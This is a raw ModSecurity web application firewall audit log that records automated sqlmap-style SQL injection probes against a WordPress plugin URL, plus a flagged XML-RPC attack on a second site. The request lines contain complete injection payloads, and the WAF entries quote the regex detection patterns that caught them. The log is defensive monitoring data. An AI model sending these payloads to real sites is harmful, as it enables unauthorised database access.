/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=%28SELECT%20%28CASE%20WHEN%20%285858%3D8733%29%20THEN%201749036687%20ELSE%20%28SELECT%208733%20UNION%20SELECT%202591%29%20END%29%29 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.68.195.144 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 95053314bde25c9e-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --bf660809-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --bf660809-E-- --bf660809-H-- Message: Warning. Pattern match "(?i:(?:[\\x22'`](?:;? ?\\b(?:having|select|union)\\b ?[^\\s]| ?! ?[\\x22'`\\w])|\\b(?:c(?:onnection_id|urrent_user)|database)\\b ?\\(|\\bunion\\b[\\w(\\s]*?select\\b|\\buser ?\\(|\\bschema ?\\(|\\bselect.{0,399}?\\w?\\buser ?\\(|\\binto[\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: (SELECT (CASE WHEN (5858=8733) THEN 1749036687 ELSE (SELECT 8733 UNION SELECT 2591) END)) found within MATCHED_VAR: (SELECT (CASE WHEN (5858=8733) THEN 1749036687 ELSE (SELECT 8733 UNION SELECT 2591) END))"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?:union(?:\\/\\*.{0,399}\\*\\/)?select)" at ARGS:ver. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5662"] [id "220150"] [rev "5"] [msg "COMODO WAF: SQL injection vulnerability in Ginkgo CMS 5.0 (CVE-2013-5318)||www.getcalley.com|F|2"] [data "(select(casewhen(5858=8733)then1749036687else(select8733unionselect2591)end))"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\\\\\x22'`](?:;? ?\\\\\\\\b(?:having|select|union)\\\\\\\\b ?[^\\\\\\\\s]| ?! ?[\\\\\\\\x22'`\\\\\\\\w])|\\\\\\\\b(?:c(?:onnection_id|urrent_user)|database)\\\\\\\\b ?\\\\\\\\(|\\\\\\\\bunion\\\\\\\\b[\\\\\\\\w(\\\\\\\\s]*?select\\\\\\\\b|\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\bschema ?\\\\\\\\(|\\\\\\\\bselect.{0,399}?\\\\\\\\w?\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\binto[\\\\\\\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: (SELECT (CASE WHEN (5858=8733) THEN 1749036687 ELSE (SELECT 8733 UNION SELECT 2591) END)) found within MATCHED_VAR: (SELECT (CASE WHEN (5858=8733) THEN 1749036687 ELSE (SELECT 8733 UNION SELECT 2591) END))"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88tlGNm2a2ZAngdHCtfQAAAAc"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?:union(?:\\\\\\\\/\\\\\\\\*.{0,399}\\\\\\\\*\\\\\\\\/)?select)" at ARGS:ver. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5662"] [id "220150"] [rev "5"] [msg "COMODO WAF: SQL injection vulnerability in Ginkgo CMS 5.0 (CVE-2013-5318)||www.getcalley.com|F|2"] [data "(select(casewhen(5858=8733)then1749036687else(select8733unionselect2591)end))"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88tlGNm2a2ZAngdHCtfQAAAAc"] Stopwatch: 1750023350812455 4566 (- - -) Stopwatch2: 1750023350812455 4566; combined=2701, p1=371, p2=2185, p3=28, p4=25, p5=92, sr=107, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bf660809-Z-- --5b75295d-A-- [16/Jun/2025:03:05:51.322459 +0530] aE88t4rLgrklqy57Kk2byQAAAAg 162.158.111.14 41902 127.0.0.1 7081 --5b75295d-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%29%20AND%20EXTRACTVALUE%288053%2CCONCAT%280x5c%2C0x71626b6b71%2C%28SELECT%20%28ELT%288053%3D8053%2C1%29%29%29%2C0x7170707a71%29%29%20AND%20%287501%3D7501 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.111.14 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 95053317edec37bd-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --5b75295d-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --5b75295d-E-- --5b75295d-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and (7501=7501 found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687) and extractvalue(8053,concat(0x5c,0x71626b6b71,(select (elt(8053=8053,1))),0x7170707a71)) and (7501=7501"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and (7501=7501 found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687) and extractvalue(8053,concat(0x5c,0x71626b6b71,(select (elt(8053=8053,1))),0x7170707a71)) and (7501=7501"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88t4rLgrklqy57Kk2byQAAAAg"] Stopwatch: 1750023351317458 5091 (- - -) Stopwatch2: 1750023351317458 5091; combined=2964, p1=370, p2=2462, p3=33, p4=22, p5=76, sr=100, sw=1, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5b75295d-Z-- --3020885a-A-- [16/Jun/2025:03:05:52.849893 +0530] aE88uIl8S04UZ4l67-nd-wAAAAk 172.71.172.48 42012 127.0.0.1 7081 --3020885a-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%29%20AND%20EXTRACTVALUE%288053%2CCONCAT%280x5c%2C0x71626b6b71%2C%28SELECT%20%28ELT%288053%3D8053%2C1%29%29%29%2C0x7170707a71%29%29%20AND%20%28%27XATl%27%3D%27XATl HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.172.48 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533216dec6acb-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --3020885a-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --3020885a-E-- --3020885a-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and ('xatl'='xatl found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687') and extractvalue(8053,concat(0x5c,0x71626b6b71,(select (elt(8053=8053,1))),0x7170707a71)) and ('xatl'='xatl"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and ('xatl'='xatl found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687') and extractvalue(8053,concat(0x5c,0x71626b6b71,(select (elt(8053=8053,1))),0x7170707a71)) and ('xatl'='xatl"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88uIl8S04UZ4l67-nd-wAAAAk"] Stopwatch: 1750023352844468 5515 (- - -) Stopwatch2: 1750023352844468 5515; combined=3652, p1=366, p2=3135, p3=43, p4=28, p5=80, sr=104, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3020885a-Z-- --234f6936-A-- [16/Jun/2025:03:05:53.358094 +0530] aE88uYrLgrklqy57Kk2bywAAAAg 172.71.250.19 42052 127.0.0.1 7081 --234f6936-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%20AND%20EXTRACTVALUE%288053%2CCONCAT%280x5c%2C0x71626b6b71%2C%28SELECT%20%28ELT%288053%3D8053%2C1%29%29%29%2C0x7170707a71%29%29%20AND%20%27YduY%27%3D%27YduY HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.250.19 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533248fc91979-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --234f6936-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --234f6936-E-- --234f6936-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 'yduy'='yduy found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687' and extractvalue(8053,concat(0x5c,0x71626b6b71,(select (elt(8053=8053,1))),0x7170707a71)) and 'yduy'='yduy"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 'yduy'='yduy found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687' and extractvalue(8053,concat(0x5c,0x71626b6b71,(select (elt(8053=8053,1))),0x7170707a71)) and 'yduy'='yduy"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88uYrLgrklqy57Kk2bywAAAAg"] Stopwatch: 1750023353352325 5858 (- - -) Stopwatch2: 1750023353352325 5858; combined=3986, p1=379, p2=3456, p3=40, p4=27, p5=84, sr=95, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --234f6936-Z-- --9cc43919-A-- [16/Jun/2025:03:05:53.867579 +0530] aE88uVR6EeXjkGzEkblkfgAAAAs 172.69.151.37 42068 127.0.0.1 7081 --9cc43919-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%29%20AND%207043%3DCAST%28%28CHR%28113%29%7C%7CCHR%2898%29%7C%7CCHR%28107%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%287043%3D7043%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28112%29%7C%7CCHR%28112%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29%20AND%20%287403%3D7403 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.69.151.37 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 95053327b8271903-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --9cc43919-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --9cc43919-E-- --9cc43919-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (7043=7043) then 1 else 0 end)) found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687) and 7043=cast((chr(113)||chr(98)||chr(107)||chr(107)||chr(113))||(select (case when (7043=7043) then 1 else 0 end))::text||(chr(113)||chr(112)||chr(112)||chr(122)||chr(113)) as numeric) and (7403=7403"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (7043=7043) then 1 else 0 end)) found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687) and 7043=cast((chr(113)||chr(98)||chr(107)||chr(107)||chr(113))||(select (case when (7043=7043) then 1 else 0 end))::text||(chr(113)||chr(112)||chr(112)||chr(122)||chr(113)) as numeric) and (7403=7403"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88uVR6EeXjkGzEkblkfgAAAAs"] Stopwatch: 1750023353860845 6859 (- - -) Stopwatch2: 1750023353860845 6859; combined=4294, p1=512, p2=3586, p3=47, p4=30, p5=119, sr=139, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9cc43919-Z-- --1704e731-A-- [16/Jun/2025:03:05:54.111106 +0530] aE88ufkun2jazaBvM9ttpQAAAAE 128.199.112.101 42026 127.0.0.1 7081 --1704e731-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --1704e731-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --1704e731-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE88ufkun2jazaBvM9ttpQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023353180998 930163 (- - -) Stopwatch2: 1750023353180998 930163; combined=2038, p1=349, p2=1312, p3=41, p4=62, p5=170, sr=92, sw=104, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1704e731-Z-- --850b1016-A-- [16/Jun/2025:03:05:54.375526 +0530] aE88uh-kH31pk4mNbsU-rQAAAAo 172.71.148.95 42102 127.0.0.1 7081 --850b1016-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%20AND%207043%3DCAST%28%28CHR%28113%29%7C%7CCHR%2898%29%7C%7CCHR%28107%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%287043%3D7043%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28112%29%7C%7CCHR%28112%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.148.95 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505332aef18a5ff-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --850b1016-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --850b1016-E-- --850b1016-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (7043=7043) then 1 else 0 end)) found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687 and 7043=cast((chr(113)||chr(98)||chr(107)||chr(107)||chr(113))||(select (case when (7043=7043) then 1 else 0 end))::text||(chr(113)||chr(112)||chr(112)||chr(122)||chr(113)) as numeric)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (7043=7043) then 1 else 0 end)) found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687 and 7043=cast((chr(113)||chr(98)||chr(107)||chr(107)||chr(113))||(select (case when (7043=7043) then 1 else 0 end))::text||(chr(113)||chr(112)||chr(112)||chr(122)||chr(113)) as numeric)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88uh-kH31pk4mNbsU-rQAAAAo"] Stopwatch: 1750023354370624 4998 (- - -) Stopwatch2: 1750023354370624 4998; combined=3098, p1=374, p2=2584, p3=33, p4=26, p5=81, sr=87, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --850b1016-Z-- --5a73ed3d-A-- [16/Jun/2025:03:05:54.875124 